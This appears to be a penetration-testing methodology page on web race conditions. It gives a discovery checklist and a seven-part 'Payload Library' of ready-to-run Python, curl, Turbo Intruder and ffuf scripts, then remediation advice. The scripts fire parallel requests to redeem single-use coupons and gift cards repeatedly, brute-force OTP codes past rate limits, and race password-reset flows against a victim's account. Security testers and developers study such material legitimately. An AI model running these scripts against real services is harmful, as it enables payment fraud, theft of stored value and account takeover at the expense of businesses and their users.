Race Conditions

Severity: High–Critical | CWE: CWE-362 OWASP: A04:2021 – Insecure Design


What Are Race Conditions?

Race conditions in web apps occur when multiple concurrent requests interact with shared state before that state is properly updated. The classic pattern: read-check-act without atomicity.

Thread A: READ balance=100 → CHECK balance>50? YES → [gap] → WRITE balance=50
Thread B:                                              READ balance=100 → CHECK balance>100? YES → WRITE balance=0
→ Both succeed, but total withdrawn = 150 from 100 balance (TOCTOU)

Modern web race conditions (PortSwigger research):

  • Limit overrun — bypass single-use discount codes, one-redemption-per-user limits
  • Rate limit bypass — bypass OTP brute-force protections
  • Partial construction — exploit state between object creation and initialization
  • Time-of-check to time-of-use (TOCTOU) — file operations, session state
  • Multi-endpoint — state collision across different endpoints sharing resources

Discovery Checklist

  • Identify single-use tokens/codes (discount, promo, invite, OTP, gift card)
  • Identify “check then act” patterns (balance check, limit check, stock check)
  • Identify idempotency issues — what happens if same request sent 2x simultaneously?
  • Test coupon/voucher codes — apply twice in parallel
  • Test password reset tokens — use once, then immediately again
  • Test rate-limited endpoints — OTP, login, API calls
  • Test file upload + processing pipeline (TOCTOU between upload and scan)
  • Use Burp Suite’s “Send Group in Parallel” for H1 race
  • Use HTTP/2 single-packet attack for H2 race (all requests in one TCP packet)
  • Test multi-step flows: step 1 + step 1 simultaneously (skip step 2)
  • Check for token reuse windows (short TTL tokens that reset server-side state slowly)

Payload Library

Attack 1 — Limit Overrun (Classic Race)

# Python: concurrent requests to redeem single-use code
import threading
import requests

TARGET = "https://target.com/api/redeem-coupon"
COUPON = "SAVE50"
SESSION_COOKIE = "session=YOUR_VALID_SESSION"

def redeem():
    r = requests.post(TARGET,
        json={"coupon": COUPON},
        headers={"Cookie": SESSION_COOKIE})
    print(r.status_code, r.text[:100])

# Launch 20 simultaneous requests:
threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
# Using curl with background jobs:
for i in $(seq 1 20); do
  curl -s -X POST https://target.com/api/redeem \
    -H "Content-Type: application/json" \
    -H "Cookie: session=VALUE" \
    -d '{"code":"DISCOUNT50"}' &
done
wait

Attack 2 — HTTP/2 Single-Packet Attack (Best Technique)

HTTP/2 multiplexes multiple requests in a single TCP packet. All arrive at the server simultaneously — no network jitter, maximum collision probability.

# Python with h2 library — single-packet multi-request:
# pip3 install h2 httpx[http2]

import httpx
import asyncio

async def race_h2():
    async with httpx.AsyncClient(http2=True) as client:
        # Prepare all requests
        tasks = []
        for i in range(20):
            tasks.append(
                client.post(
                    "https://target.com/api/redeem",
                    json={"code": "PROMO50"},
                    cookies={"session": "VALID_SESSION"}
                )
            )
        # Launch all simultaneously (h2 single-packet):
        responses = await asyncio.gather(*tasks)
        for r in responses:
            print(r.status_code, r.text[:80])

asyncio.run(race_h2())
# turbo-intruder (Burp extension) — single-packet attack script:
# Turbo Intruder → select request → Scripts → Race (single-packet)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
    # Queue 20 identical requests:
    for i in range(20):
        engine.queue(target.req, gate='race')
    # Release all at once (single-packet):
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

Attack 3 — Last-Byte Sync (HTTP/1.1 Race)

When HTTP/2 is unavailable, send all request bodies except the last byte, then send final bytes simultaneously — all requests complete processing at the same time.

# Python last-byte synchronization:
import socket
import threading
import time

def send_with_last_byte_sync(host, port, request_prefix, last_chunk, num):
    """Send request headers + body except last byte, then sync final byte"""
    sockets = []
    for _ in range(num):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(request_prefix.encode())  # headers + partial body
        sockets.append(s)

    # Tiny delay to ensure all connections are ready:
    time.sleep(0.05)

    # Send last byte on all connections simultaneously:
    for s in sockets:
        s.send(last_chunk.encode())

    # Read responses:
    for s in sockets:
        response = s.recv(4096).decode()
        print(response[:200])
        s.close()

Attack 4 — Rate Limit / OTP Bypass

# Brute-force OTP within the race window:
# If rate limit is enforced per-session but not per-concurrent-request:

import httpx
import asyncio

OTP_CODES = [f"{i:06d}" for i in range(1000)]  # test range

async def test_otp(client, code):
    r = await client.post("https://target.com/verify-otp",
        json={"otp": code},
        cookies={"session": "SESSION"})
    if "success" in r.text or r.status_code == 200:
        print(f"[VALID] OTP: {code}")
    return r

async def race_otp():
    async with httpx.AsyncClient(http2=True) as client:
        # Send burst of OTP guesses simultaneously:
        tasks = [test_otp(client, code) for code in OTP_CODES[:50]]
        await asyncio.gather(*tasks)

asyncio.run(race_otp())
# Turbo Intruder for OTP race:
# Load 6-digit OTP wordlist
# Use single-packet attack gate
# Monitor for different response length/status

Attack 5 — Password Reset Token Race

# Request multiple password reset tokens simultaneously:
# If server invalidates old token on new request → race for valid window

for i in $(seq 1 10); do
  curl -s -X POST https://target.com/reset-password \
    -d "email=victim@corp.com" &
done
wait
# → Multiple valid tokens may be generated before invalidation logic runs
# → Use captured tokens from email (if you have access) or OOB

# TOCTOU on password reset flow:
# Step 1: Request reset for victim account
# Step 2: Simultaneously: use reset token + change email
# → If email change and token use checked separately without locking:
# → Token valid for original email, but account email already changed

Attack 6 — Multi-Endpoint Race (Parallel State Confusion)

# Attack: simultaneously trigger two operations that share state
# Example: transfer + delete-account, or verify-email + change-email

import httpx
import asyncio

async def race_multi_endpoint():
    async with httpx.AsyncClient(http2=True) as client:
        cookies = {"session": "VALID_SESSION"}

        # Endpoint 1: apply discount (checks if already used)
        req1 = client.post("https://target.com/apply-discount",
            json={"code": "ONCE_ONLY"}, cookies=cookies)

        # Endpoint 2: checkout (reads discount from session)
        req2 = client.post("https://target.com/checkout",
            json={"items": ["item123"]}, cookies=cookies)

        # Race both endpoints:
        r1, r2 = await asyncio.gather(req1, req2)
        print("Discount:", r1.status_code, r1.text[:100])
        print("Checkout:", r2.status_code, r2.text[:100])

asyncio.run(race_multi_endpoint())

Attack 7 — Gift Card / Wallet Race

# Classic race: redeem gift card, check balance, redeem again

# Step 1: find balance check endpoint
GET /api/wallet/balance → {"balance": 50}

# Step 2: race redemption endpoint:
python3 -c "
import threading, requests

def redeem():
    r = requests.post('https://target.com/api/gift-card/redeem',
        json={'card': 'GIFT-CARD-CODE'},
        cookies={'session': 'SESSION'})
    print(r.json())

threads = [threading.Thread(target=redeem) for _ in range(15)]
[t.start() for t in threads]
[t.join() for t in threads]
"

Tools

# Burp Suite:
# - Repeater → "Send group in parallel" (HTTP/2 single-packet mode)
# - Turbo Intruder extension (BApp Store) — best for race conditions
#   - Use "race-single-packet-attack.py" template
#   - Configurable concurrency + gate-based synchronization
# - Logger++ for comparing parallel responses

# httpx (Python async HTTP/2):
pip3 install httpx[http2]

# racepwn:
git clone https://github.com/nicowillis/racepwn

# Custom timing script — measure response time variance:
for i in $(seq 1 100); do
  time curl -s -o /dev/null https://target.com/api/check-code \
    -d "code=TEST" 2>&1 | grep real
done

# Repeater parallel group (Burp):
# Create request group → right-click tab → Add to group
# Send group → "Send group in parallel"
# Switch to HTTP/2 in connection settings for single-packet

# ffuf with rate limiting bypass test:
ffuf -u https://target.com/api/verify-otp -X POST \
  -d '{"otp":"FUZZ"}' \
  -H "Content-Type: application/json" \
  -b "session=SESSION" \
  -w /usr/share/seclists/Fuzzing/6-digits-000000-999999.txt \
  -rate 1000 -t 100

Remediation Reference

  • Atomic operations: use DB-level atomic increments/decrements (UPDATE ... WHERE stock > 0 AND id = ?)
  • Database transactions with proper isolation level (SERIALIZABLE for critical operations)
  • Redis INCR/DECR — atomic counter operations for rate limiting and use-counts
  • Idempotency keys: generate server-side before showing to user, invalidate on first use
  • Pessimistic locking: SELECT FOR UPDATE on the row before modifying
  • Optimistic locking: version field — reject update if version mismatch detected
  • Per-user distributed locks (Redis SETNX with TTL) for critical single-use operations
  • Avoid TOCTOU: move from check-then-act to compare-and-swap (CAS) patterns

Part of the Web Application Penetration Testing Methodology series.